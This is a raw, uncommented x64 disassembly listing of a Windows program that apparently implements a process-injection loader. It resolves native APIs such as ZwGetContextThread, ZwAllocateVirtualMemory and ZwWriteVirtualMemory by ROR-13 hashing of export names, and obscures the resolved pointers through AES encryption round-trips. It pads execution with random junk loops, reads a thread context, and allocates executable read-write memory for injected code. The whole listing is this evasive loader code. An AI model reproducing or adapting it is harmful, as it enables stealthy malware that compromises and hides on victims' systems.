call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400077bb
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400077a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400077a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140007800
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400077fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400077fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x14000785d
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007857
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007857
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 0xfffffffd
jmp 0x1400093c8
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xce0]
xor ecx, ecx
call rbx
test eax, eax
jne 0x140007c2a
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400078e9
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007947
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x1400079a5
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000799f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000799f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140007a03
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140007a61
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140007ad0
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007ab8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140007b15
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140007b73
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140007be2
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007bca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov r8, qword [rbp + 0x548]
cmp r8, 0xf
jbe 0x140007bfb
mov rdx, qword [rbp + 0x530]
call fcn.14000b120
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
mov eax, 0xfffffffc
jmp 0x1400093c8
lea rcx, [0x1400109f0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov esi, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140007cc4
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x54], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x54]
sub ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x54]
add ecx, eax
mov dword [rsp + 0x54], ecx
inc esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp esi, edi
jl 0x140007c61
mov esi, r12d
test rbx, rbx
je 0x140007d69
lea rcx, str.ZwGetContextThread
mov edi, r12d
mov al, 0x5a
nop dword [rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007ce0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007d66
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007d53
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007d40
cmp ecx, edi
je 0x140007dac
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, rsi
jb 0x140007d30
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x680], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007dc0
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007e78
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007d6c
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007e12
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007e6f
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x680]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x7d0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007e43
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007df4
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x7d0]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140007e6c
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007df4
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007eae
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007f57
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007ee4
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007f32
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7d0]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007f0e
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007f32
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 0x28]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007f4e
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r13, qword [rbp - 0x28]
add r13, rbx
mov esi, r12d
test rbx, rbx
je 0x14000800b
lea rcx, str.ZwAllocateVirtualMemory
mov edi, r12d
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007f80
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140008008
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007ff3
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007fe0
cmp ecx, edi
je 0x14000804e
inc r9d
add r8, 4
cmp r9d, r10d
mov eax, 0
jb 0x140007fd0
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x688], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140008062
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000811a
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x14000800e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x1400080b4
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008111
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x688]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x810]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x1400080e5
lea rdx, str.Failed_to_encrypt_data
jmp 0x140008096
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x810]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x14000810e
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140008096
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140008150
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400081f9
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x708]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x730]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140008186
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400081d4
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x810]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400081b0
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400081d4
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 8]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x1400081f0
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp - 8]
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x50], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call r13
mov rcx, qword [r14]
test eax, eax
jns 0x14000861d
mov edx, 0xfffffffb
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140008278
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008272
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008272
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400082d6
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400082d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008334
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000832e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000832e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008392
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000838c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000838c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400083f0
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400083ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14000845f
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008447
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x1400084a4
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000849e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000849e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140008502
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140008571
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008559
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x1400085b6
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400085b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400085b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008613
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000860d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000860d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 0xfffffffb
jmp 0x1400093c8
mov rax, qword [r15 + 0x30]
mov qword [rbp - 0x30], rax
mov eax, dword [r15 + 0x50]
mov qword [rbp + 0x690], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x690]
xor r8d, r8d
lea rdx, [rbp - 0x30]
call rbx
test eax, eax
js 0x140008d7e
cmp qword [rbp - 0x30], 0
je 0x140008d7e
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.140004900
test rdi, rdi
jne 0x140008743
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
